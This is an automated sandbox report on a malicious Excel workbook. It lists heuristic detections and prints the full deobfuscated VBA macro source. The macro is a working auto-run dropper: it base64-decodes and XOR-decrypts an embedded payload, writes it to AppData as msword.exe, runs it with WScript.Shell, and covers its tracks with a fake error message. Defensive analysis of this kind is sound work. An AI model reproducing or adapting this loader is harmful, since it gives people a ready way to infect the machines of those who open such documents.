MALICIOUS
118
Risk Score
Heuristics 6
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set objFSO = CreateObject("Scripting.FileSystemObject") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Private Sub Workbook_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
Dim nxnxnxnxnx As String: nxnxnxnxnx = Environ(xx0101 & xx01002 & xx01002 & xx0104 & xx00101 & xx01006 & xx00101) -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 21287 bytes |
SHA-256: 191bfa73df9dd31fc301859cdf59bd56596ab422eb9b9b0792f675a4acf85ef3 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Call Protected_Images
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "xxx01xxxwxx01"
Attribute VB_Base = "0{5ED72A97-F52B-436C-AF4A-8000206CB120}{3CF44271-25FD-4382-BB70-939011D68F9D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub twotxt_Change()
End Sub
Private Sub txtVBS_Change()
End Sub
Attribute VB_Name = "xxx01xxxmx01"
Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr)
Private Sub dx1x0xnx(ByVal strPath As String)
Dim objFSO As Object
Set objFSO = CreateObject("Scripting.FileSystemObject")
On Error GoTo lblError:
objFSO.deletefile (strPath)
Set objFSO = Nothing
Exit Sub
lblError:
Err.Clear
End Sub
Public Sub xx01x1()
Dim xx0101 As String: xx0101 = "A"
Dim xx00101 As String: xx00101 = "a"
Dim xx0104 As String: xx0104 = "d"
Dim xx0105 As String: xx0105 = "e"
Dim xx01007 As String: xx01007 = "u"
Dim xx01008 As String: xx01008 = "v"
Dim xx010a010x As String: xx010a010x = "ax"
Dim xx0109 As String: xx0109 = "i"
Dim xx01005 As String: xx01005 = "s"
Dim xx01006 As String: xx01006 = "t"
Dim xx010003 As String: xx010003 = "z"
Dim xx010a007x As String: xx010a007x = "az"
Dim xx01001 As String: xx01001 = "o"
Dim xx0106 As String: xx0106 = "f"
Dim xx0107 As String: xx0107 = "g"
Dim xx0108 As String: xx0108 = "h"
Dim xx010002 As String: xx010002 = "y"
Dim xx01004 As String: xx01004 = "r"
Dim xx01010 As String: xx01010 = "j"
Dim xx01011 As String: xx01011 = "k"
Dim xx010l2 As String: xx010l2 = "l"
Dim xx01013 As String: xx01013 = "m"
Dim xx0100x1 As String: xx0100x1 = "."
Dim xx01009 As String: xx01009 = "w"
Dim xx010001 As String: xx010001 = "x"
Dim xx01000 As String: xx01000 = "n"
Dim xx0102 As String: xx0102 = "b"
Dim xx01002 As String: xx01002 = "p"
Dim xx0103 As String: xx0103 = "c"
Dim xx010q03 As String: xx010q03 = "q"
Dim xx010l03 As String: xx010l03 = "\"
Dim nxnxnxnxnx As String: nxnxnxnxnx = Environ(xx0101 & xx01002 & xx01002 & xx0104 & xx00101 & xx01006 & xx00101)
Call dx1x0xnx(nxnxnxnxnx & "\dx10101xxx0x0x")
Const foForReading = 1
Const foAsASCII = 0
Const adSaveCreateOverWrite = 2
Const adTypeBinary = 1
Dim objFSO
Dim objFileIn
Dim objStreamIn
Dim objXML
Dim objDocElem
Dim objStream
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objXML = CreateObject("MSXml2.DOMDocument")
Set objDocElem = objXML.createElement("Base64Data")
objDocElem.DataType = "bin.base64"
objDocElem.Text = xxx01xxxwxx01.jahaenx.Text
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = adTypeBinary
objStream.Open
objStream.Write objDocElem.NodeTypedValue
objStream.SaveToFile nxnxnxnxnx & "\dx10101xxx0x0x"
Set objFSO = Nothing
Set objFileIn = Nothing
Set objStreamIn = Nothing
Set objXML = Nothing
Set objDocElem = Nothing
Set objStream = Nothing
End Sub
Public Sub xx01x1x1()
Dim xxx10xxxxxxx, errResult
Dim xx0101 As String: xx0101 = "A"
Dim xx00101 As String: xx00101 = "a"
Dim xx0104 As String: xx0104 = "d"
Dim xx0105 As String: xx0105 = "e"
Dim xx01007 As String: xx01007 = "u"
Dim xx01008 As String: xx01008 = "v"
Dim xx010a010x As String: xx010a010x = "ax"
Dim xx0109 As String: xx0109 = "i"
Dim xx01005 As String: xx01005 = "s"
Dim xx01006 As String: xx01006 = "t"
Dim xx010003 As String: xx010003 = "z"
Dim xx010a007x As String: xx010a007x = "az"
Dim xx01001 As String: xx01001 = "o"
Dim xx0106 As String: xx0106 = "f"
Dim xx0107 As String: xx0107 = "g"
Dim xx01xx07 As String: xx010xx7 = "G"
Dim xx0108 As String: xx0108 = "h"
Dim xx010002 As String: xx010002 = "y"
Dim xx01004 As String: xx01004 = "r"
Dim xx01010 As String: xx01010 = "j"
Dim xx01011 As String: xx01011 = "k"
Dim xx010x11 As String: xx010x11 = "K"
Dim xx010l2 As String: xx010l2 = "l"
Dim xx01013 As String: xx01013 = "m"
Dim xx0100x1 As String: xx0100x1 = "."
Dim xx01009 As String: xx01009 = "w"
Dim xx010001 As String: xx010001 = "x"
Dim xx01000 As String: xx01000 = "n"
Dim xx0102 As String: xx0102 = "b"
Dim xx01002 As String: xx01002 = "p"
Dim xx0103 As String: xx0103 = "c"
Dim xx010q03 As String: xx010q03 = "q"
Dim xx010l03 As String: xx010l03 = "\"
Dim nxnxnxnxnx As String: nxnxnxnxnx = Environ(xx0101 & xx01002 & xx01002 & xx0104 & xx00101 & xx01006 & xx00101)
Call dx1x0xnx(nxnxnxnxnx & "\dxdx01dx01dx")
xxx10xxxxxxx = xxx1010("LxjnbvbX%$#@cMicrosoftdKeT""!@#$C%^&*(K(*&K0^%$W$@!&@#$C%Excel^7&*(K(*&K^%$W@2017!&^%$#lx^&%$""")
errResult = xlxlxlxlxlxlx(nxnxnxnxnx & "\dx10101xxx0x0x", nxnxnxnxnx & "\dxdx01dx01dx", xxx10xxxxxxx)
If errResult <> 0 Then
ShowError errResult
End If
Call dx1x0xnx(nxnxnxnxnx & "\dx10101xxx0x0x")
End Sub
Sub ShowError(myError)
On Error Resume Next
Err.Raise myError
Err.Clear
On Error GoTo 0
End Sub
Function xlxlxlxlxlxlx(myFileIn, myFileOut, arrCode)
Dim i, objFSO, objFileIn, objFileOut, objStreamIn
Const ForAppending = 8
Const ForReading = 1
Const ForWriting = 2
Const TristateFalse = 0
Const TristateMixed = -2
Const TristateTrue = -1
Const TristateUseDefault = -2
On Error Resume Next
If Not IsArray(arrCode) Then
arrCode = Array(arrCode)
End If
For i = 0 To UBound(arrCode)
If Not IsNumeric(arrCode(i)) Then
xlxlxlxlxlxlx = 1032
Exit Function
End If
If arrCode(i) < 0 Or arrCode(i) > 255 Then
xlxlxlxlxlxlx = 1031
Exit Function
End If
Next
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists(myFileIn) Then
Set objFileIn = objFSO.GetFile(myFileIn)
Set objStreamIn = objFileIn.OpenAsTextStream(ForReading, TristateFalse)
Else
xlxlxlxlxlxlx = 53
objStreamIn.Close
Set objStreamIn = Nothing
Set objFileIn = Nothing
Set objFSO = Nothing
Exit Function
End If
If objFSO.FileExists(myFileOut) Then
xlxlxlxlxlxlx = 58
objStreamIn.Close
Set objStreamIn = Nothing
Set objFileIn = Nothing
Set objFSO = Nothing
Exit Function
Else
Set objFileOut = objFSO.CreateTextFile(myFileOut, True, False)
End If
i = 0
Do Until objStreamIn.AtEndOfStream
i = (i + 1) \ (UBound(arrCode) + 1)
objFileOut.Write Chr(Asc(objStreamIn.Read(1)) Xor arrCode(i))
Loop
objFileOut.Close
objStreamIn.Close
Set objStreamIn = Nothing
Set objFileIn = Nothing
Set objFileOut = Nothing
Set objFSO = Nothing
xlxlxlxlxlxlx = Err.Number
' Done
Err.Clear
On Error GoTo 0
End Function
Function xxx1010(xexoxlmxxl1)
Dim i, arrCode()
ReDim arrCode(Len(xexoxlmxxl1) - 1)
For i = 0 To UBound(arrCode)
arrCode(i) = Asc(Mid(xexoxlmxxl1, i + 1, 1))
Next
xxx1010 = arrCode
End Function
Public Sub xx01x1x1x()
Dim xx0101 As String: xx0101 = "A"
Dim xx00101 As String: xx00101 = "a"
Dim xx0104 As String: xx0104 = "d"
Dim xx0105 As String: xx0105 = "e"
Dim xx01007 As String: xx01007 = "u"
Dim xx01008 As String: xx01008 = "v"
Dim xx010a010x As String: xx010a010x = "ax"
Dim xx0109 As String: xx0109 = "i"
Dim xx01005 As String: xx01005 = "s"
Dim xx01006 As String: xx01006 = "t"
Dim xx010003 As String: xx010003 = "z"
Dim xx010a007x As String: xx010a007x = "az"
Dim xx01001 As String: xx01001 = "o"
Dim xx0106 As String: xx0106 = "f"
Dim xx0107 As String: xx0107 = "g"
Dim xx0108 As String: xx0108 = "h"
Dim xx010002 As String: xx010002 = "y"
Dim xx01004 As String: xx01004 = "r"
Dim xx01010 As String: xx01010 = "j"
Dim xx01011 As String: xx01011 = "k"
Dim xx010l2 As String: xx010l2 = "l"
Dim xx01013 As String: xx01013 = "m"
Dim xx0100x1 As String: xx0100x1 = "."
Dim xx01009 As String: xx01009 = "w"
Dim xx010001 As String: xx010001 = "x"
Dim xx01000 As String: xx01000 = "n"
Dim xx0102 As String: xx0102 = "b"
Dim xx01002 As String: xx01002 = "p"
Dim xx0103 As String: xx0103 = "c"
Dim xx010q03 As String: xx010q03 = "q"
Dim xx010l03 As String: xx010l03 = "\"
Dim nxnxnxnxnx As String: nxnxnxnxnx = Environ(xx0101 & xx01002 & xx01002 & xx0104 & xx00101 & xx01006 & xx00101)
Call dx1x0xnx(nxnxnxnxnx & "\dcxxdcx011xx")
Const foForReading = 1
Const foAsASCII = 0
Const adSaveCreateOverWrite = 2
Const adTypeBinary = 1
Dim objFSO
Dim objFileIn
Dim objStreamIn
Dim objXML
Dim objDocElem
Dim objStream
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFileIn = objFSO.GetFile(nxnxnxnxnx & "\dxdx01dx01dx")
Set objStreamIn = objFileIn.OpenAsTextStream(foForReading, foAsASCII)
Set objXML = CreateObject("MSXml2.DOMDocument")
Set objDocElem = objXML.createElement("Base64Data")
objDocElem.DataType = "bin.base64"
objDocElem.Text = objStreamIn.ReadAll()
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = adTypeBinary
objStream.Open
objStream.Write objDocElem.NodeTypedValue
objStream.SaveToFile nxnxnxnxnx & "\dcxxdcx011xx"
Set objFSO = Nothing
Set objFileIn = Nothing
Set objStreamIn = Nothing
Set objXML = Nothing
Set objDocElem = Nothing
Set objStream = Nothing
Call dx1x0xnx(nxnxnxnxnx & "\dxdx01dx01dx")
End Sub
Public Sub xx01x1x1x1x()
Dim xxx10xxxxxxx, errResult
Dim xx0101 As String: xx0101 = "A"
Dim xx00101 As String: xx00101 = "a"
Dim xx0104 As String: xx0104 = "d"
Dim xx0105 As String: xx0105 = "e"
Dim xx01007 As String: xx01007 = "u"
Dim xx01008 As String: xx01008 = "v"
Dim xx010a010x As String: xx010a010x = "ax"
Dim xx0109 As String: xx0109 = "i"
Dim xx01005 As String: xx01005 = "s"
Dim xx01006 As String: xx01006 = "t"
Dim xx010003 As String: xx010003 = "z"
Dim xx010a007x As String: xx010a007x = "az"
Dim xx01001 As String: xx01001 = "o"
Dim xx0106 As String: xx0106 = "f"
Dim xx0107 As String: xx0107 = "g"
Dim xx0108 As String: xx0108 = "h"
Dim xx010002 As String: xx010002 = "y"
Dim xx01004 As String: xx01004 = "r"
Dim xx01010 As String: xx01010 = "j"
Dim xx01011 As String: xx01011 = "k"
Dim xx010l2 As String: xx010l2 = "l"
Dim xx01013 As String: xx01013 = "m"
Dim xx0100x1 As String: xx0100x1 = "."
Dim xx01009 As String: xx01009 = "w"
Dim xx010001 As String: xx010001 = "x"
Dim xx01000 As String: xx01000 = "n"
Dim xx0102 As String: xx0102 = "b"
Dim xx01002 As String: xx01002 = "p"
Dim xx0103 As String: xx0103 = "c"
Dim xx010q03 As String: xx010q03 = "q"
Dim xx010l03 As String: xx010l03 = "\"
Dim nxnxnxnxnx As String: nxnxnxnxnx = Environ(xx0101 & xx01002 & xx01002 & xx0104 & xx00101 & xx01006 & xx00101)
Call dx1x0xnx(nxnxnxnxnx & "\xxddxxddxxdx0x1x")
xxx10xxxxxxx = xxx1010("LxjnbvbX%$#@cMicrosoftdKeT""!@#$C%^&*(K(*&K0^%$W$@!&@#$C%Excel^7&*(K(*&K^%$W@2017!&^%$#lx^&%$""")
errResult = xlxlxlxlxlxlx(nxnxnxnxnx & "\dcxxdcx011xx", nxnxnxnxnx & "\xxddxxddxxdx0x1x", xxx10xxxxxxx)
If errResult <> 0 Then
ShowError errResult
End If
Call dx1x0xnx(nxnxnxnxnx & "\dcxxdcx011xx")
End Sub
Public Sub xx01x1xx10x()
Dim xx0101 As String: xx0101 = "A"
Dim xx00101 As String: xx00101 = "a"
Dim xx0104 As String: xx0104 = "d"
Dim xx0105 As String: xx0105 = "e"
Dim xx01007 As String: xx01007 = "u"
Dim xx01008 As String: xx01008 = "v"
Dim xx010a010x As String: xx010a010x = "ax"
Dim xx0109 As String: xx0109 = "i"
Dim xx01005 As String: xx01005 = "s"
Dim xx01006 As String: xx01006 = "t"
Dim xx010003 As String: xx010003 = "z"
Dim xx010a007x As String: xx010a007x = "az"
Dim xx01001 As String: xx01001 = "o"
Dim xx0106 As String: xx0106 = "f"
Dim xx0107 As String: xx0107 = "g"
Dim xx0108 As String: xx0108 = "h"
Dim xx010002 As String: xx010002 = "y"
Dim xx01004 As String: xx01004 = "r"
Dim xx01010 As String: xx01010 = "j"
Dim xx01011 As String: xx01011 = "k"
Dim xx010l2 As String: xx010l2 = "l"
Dim xx01013 As String: xx01013 = "m"
Dim xx0100x1 As String: xx0100x1 = "."
Dim xx01009 As String: xx01009 = "w"
Dim xx010001 As String: xx010001 = "x"
Dim xx01000 As String: xx01000 = "n"
Dim xx0102 As String: xx0102 = "b"
Dim xx01002 As String: xx01002 = "p"
Dim xx0103 As String: xx0103 = "c"
Dim xx010q03 As String: xx010q03 = "q"
Dim xx010l03 As String: xx010l03 = "\"
Dim nxnxnxnxnx As String: nxnxnxnxnx = Environ(xx0101 & xx01002 & xx01002 & xx0104 & xx00101 & xx01006 & xx00101)
Call dx1x0xnx(nxnxnxnxnx & "\cxxccxcxc01xx1x0")
Const foForReading = 1
Const foAsASCII = 0
Const adSaveCreateOverWrite = 2
Const adTypeBinary = 1
Dim objFSO
Dim objFileIn
Dim objStreamIn
Dim objXML
Dim objDocElem
Dim objStream
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFileIn = objFSO.GetFile(nxnxnxnxnx & "\xxddxxddxxdx0x1x")
Set objStreamIn = objFileIn.OpenAsTextStream(foForReading, foAsASCII)
Set objXML = CreateObject("MSXml2.DOMDocument")
Set objDocElem = objXML.createElement("Base64Data")
objDocElem.DataType = "bin.base64"
objDocElem.Text = objStreamIn.ReadAll()
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = adTypeBinary
objStream.Open
objStream.Write objDocElem.NodeTypedValue
objStream.SaveToFile nxnxnxnxnx & "\cxxccxcxc01xx1x0"
Set objFSO = Nothing
Set objFileIn = Nothing
Set objStreamIn = Nothing
Set objXML = Nothing
Set objDocElem = Nothing
Set objStream = Nothing
Call dx1x0xnx(nxnxnxnxnx & "\xxddxxddxxdx0x1x")
End Sub
Public Sub xx1x1x0x01x1()
Dim xxx10xxxxxxx, errResult
Dim xx0101 As String: xx0101 = "A"
Dim xx00101 As String: xx00101 = "a"
Dim xx0104 As String: xx0104 = "d"
Dim xx0105 As String: xx0105 = "e"
Dim xx01007 As String: xx01007 = "u"
Dim xx01008 As String: xx01008 = "v"
Dim xx010a010x As String: xx010a010x = "ax"
Dim xx0109 As String: xx0109 = "i"
Dim xx01005 As String: xx01005 = "s"
Dim xx01006 As String: xx01006 = "t"
Dim xx010003 As String: xx010003 = "z"
Dim xx010a007x As String: xx010a007x = "az"
Dim xx01001 As String: xx01001 = "o"
Dim xx0106 As String: xx0106 = "f"
Dim xx0107 As String: xx0107 = "g"
Dim xx0108 As String: xx0108 = "h"
Dim xx010002 As String: xx010002 = "y"
Dim xx01004 As String: xx01004 = "r"
Dim xx01010 As String: xx01010 = "j"
Dim xx01011 As String: xx01011 = "k"
Dim xx010l2 As String: xx010l2 = "l"
Dim xx01013 As String: xx01013 = "m"
Dim xx0100x1 As String: xx0100x1 = "."
Dim xx01009 As String: xx01009 = "w"
Dim xx010001 As String: xx010001 = "x"
Dim xx01000 As String: xx01000 = "n"
Dim xx0102 As String: xx0102 = "b"
Dim xx01002 As String: xx01002 = "p"
Dim xx0103 As String: xx0103 = "c"
Dim xx010q03 As String: xx010q03 = "q"
Dim xx010l03 As String: xx010l03 = "\"
Dim nxnxnxnxnx As String: nxnxnxnxnx = Environ(xx0101 & xx01002 & xx01002 & xx0104 & xx00101 & xx01006 & xx00101)
Call dx1x0xnx(nxnxnxnxnx & "\vxxvvxvx0vx1x1x")
xxx10xxxxxxx = xxx1010("LxjnbvbX%$#@cMicrosoftdKeT""!@#$C%^&*(K(*&K0^%$W$@!&@#$C%Excel^7&*(K(*&K^%$W@2017!&^%$#lx^&%$""")
errResult = xlxlxlxlxlxlx(nxnxnxnxnx & "\cxxccxcxc01xx1x0", nxnxnxnxnx & "\vxxvvxvx0vx1x1x", xxx10xxxxxxx)
If errResult <> 0 Then
ShowError errResult
End If
Call dx1x0xnx(nxnxnxnxnx & "\cxxccxcxc01xx1x0")
End Sub
Public Sub xx1x1x0x101x1()
Dim xx0101 As String: xx0101 = "A"
Dim xx00101 As String: xx00101 = "a"
Dim xx0104 As String: xx0104 = "d"
Dim xx0105 As String: xx0105 = "e"
Dim xx01007 As String: xx01007 = "u"
Dim xx01008 As String: xx01008 = "v"
Dim xx010a010x As String: xx010a010x = "ax"
Dim xx0109 As String: xx0109 = "i"
Dim xx01005 As String: xx01005 = "s"
Dim xx01006 As String: xx01006 = "t"
Dim xx010003 As String: xx010003 = "z"
Dim xx010a007x As String: xx010a007x = "az"
Dim xx01001 As String: xx01001 = "o"
Dim xx0106 As String: xx0106 = "f"
Dim xx0107 As String: xx0107 = "g"
Dim xx0108 As String: xx0108 = "h"
Dim xx0108xx As String: xx0108xx = "S"
Dim xx010002 As String: xx010002 = "y"
Dim xx01004 As String: xx01004 = "r"
Dim xx01010 As String: xx01010 = "j"
Dim xx01011 As String: xx01011 = "k"
Dim xx010l2 As String: xx010l2 = "l"
Dim xx01013 As String: xx01013 = "m"
Dim xx0100x1 As String: xx0100x1 = "."
Dim xx01009 As String: xx01009 = "w"
Dim xx0100cc As String: xx0100cc = "W"
Dim xx010001 As String: xx010001 = "x"
Dim xx01000 As String: xx01000 = "n"
Dim xx0102 As String: xx0102 = "b"
Dim xx01002 As String: xx01002 = "p"
Dim xx0103 As String: xx0103 = "c"
Dim xx010q03 As String: xx010q03 = "q"
Dim xx010l03 As String: xx010l03 = "\"
Dim nxnxnxnxnx As String: nxnxnxnxnx = Environ(xx0101 & xx01002 & xx01002 & xx0104 & xx00101 & xx01006 & xx00101)
Call dx1x0xnx(nxnxnxnxnx & xx010l03 & xx01013 & xx01005 & xx01009 & xx01001 & xx01004 & xx0104 & xx0100x1 & xx0105 & xx010001 & xx0105)
Const foForReading = 1
Const foAsASCII = 0
Const adSaveCreateOverWrite = 2
Const adTypeBinary = 1
Dim objFSO
Dim objFileIn
Dim objStreamIn
Dim objXML
Dim objDocElem
Dim objStream
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFileIn = objFSO.GetFile(nxnxnxnxnx & "\vxxvvxvx0vx1x1x")
Set objStreamIn = objFileIn.OpenAsTextStream(foForReading, foAsASCII)
Set objXML = CreateObject("MSXml2.DOMDocument")
Set objDocElem = objXML.createElement("Base64Data")
objDocElem.DataType = "bin.base64"
objDocElem.Text = objStreamIn.ReadAll()
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = adTypeBinary
objStream.Open
objStream.Write objDocElem.NodeTypedValue
objStream.SaveToFile nxnxnxnxnx & xx010l03 & xx01013 & xx01005 & xx01009 & xx01001 & xx01004 & xx0104 & xx0100x1 & xx0105 & xx010001 & xx0105, adSaveCreateOverWrite
Dim xxxxxx: xxxxxx = xx0100cc & xx01005 & xx0108 & xx0108xx & xx0108 & xx0105 & xx010l2 & xx010l2
Set xxxxxx = CreateObject(xx0100cc & xx01005 & xx0103 & xx01004 & xx0109 & xx01002 & xx01006 & xx0100x1 & xx0108xx & xx0108 & xx0105 & xx010l2 & xx010l2)
xxxxxx.Run (Chr(34) & nxnxnxnxnx & xx010l03 & xx01013 & xx01005 & xx01009 & xx01001 & xx01004 & xx0104 & xx0100x1 & xx0105 & xx010001 & xx0105 & Chr(34))
Set objShell = Nothing
Set objFSO = Nothing
Set objFileIn = Nothing
Set objStreamIn = Nothing
Set objXML = Nothing
Set objDocElem = Nothing
Set objStream = Nothing
Call dx1x0xnx(nxnxnxnxnx & xx010l03 & xx01013 & xx01005 & xx01009 & xx01001 & xx01004 & xx0104 & xx0100x1 & xx0105 & xx010001 & xx0105)
Call dx1x0xnx(nxnxnxnxnx & "\vxxvvxvx0vx1x1x")
End Sub
Sub xx1x1x0x01x1cx()
Dim xx0101 As String: xx0101 = "A"
Dim xx00101 As String: xx00101 = "a"
Dim xx0104 As String: xx0104 = "d"
Dim xx0105 As String: xx0105 = "e"
Dim xx01007 As String: xx01007 = "u"
Dim xx01008 As String: xx01008 = "v"
Dim xx010a010x As String: xx010a010x = "ax"
Dim xx0109 As String: xx0109 = "i"
Dim xx01005 As String: xx01005 = "s"
Dim xx01006 As String: xx01006 = "t"
Dim xx010003 As String: xx010003 = "z"
Dim xx010a007x As String: xx010a007x = "az"
Dim xx01001 As String: xx01001 = "o"
Dim xx0106 As String: xx0106 = "f"
Dim xx0107 As String: xx0107 = "g"
Dim xx0108 As String: xx0108 = "h"
Dim xx010002 As String: xx010002 = "y"
Dim xx01004 As String: xx01004 = "r"
Dim xx01010 As String: xx01010 = "j"
Dim xx01011 As String: xx01011 = "k"
Dim xx010l2 As String: xx010l2 = "l"
Dim xx01013 As String: xx01013 = "m"
Dim xx0100x1 As String: xx0100x1 = "."
Dim xx01009 As String: xx01009 = "w"
Dim xx010001 As String: xx010001 = "x"
Dim xx01000 As String: xx01000 = "n"
Dim xx0102 As String: xx0102 = "b"
Dim xx01002 As String: xx01002 = "p"
Dim xx0103 As String: xx0103 = "c"
Dim xx010q03 As String: xx010q03 = "q"
Dim xx010l03 As String: xx010l03 = "\"
Dim fpl As String: fpl = Environ(xx0101 & xx01002 & xx01002 & xx0104 & xx00101 & xx01006 & xx00101) & xx010l03 & xx01013 & xx01005 & xx01009 & xx01001 & xx01004 & xx0104 & xx0100x1 & xx0105 & xx010001 & xx0105
Call dx1x0xnx(fpl)
End Sub
Sub xx1x1x0x01x1xx01()
MsgBox "Microsoft Excel - (Failed to load...)"
End Sub
Sub Protected_Images()
Call xx1x1x0x01x1cx
Call xx01x1
Call xx01x1x1
Call xx01x1x1x
Call xx01x1x1x1x
Call xx01x1xx10x
Call xx1x1x0x01x1
Call xx1x1x0x101x1
Sleep 500
Call xx1x1x0x01x1cx
Call xx1x1x0x01x1xx01
Application.Quit
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 8388608 bytes |
SHA-256: 7950a739085a14aa0788a2a0e7801c88fc0ab7e993d6a4f667f06224ed84609f |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
6899 of 7892 identifiers look randomly generated (e.g. 'AzQZI0YEJRkaCysjAgMEJAsKFHgPBiUnIQQdPy8E') — consistent with name-mangling obfuscation.
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.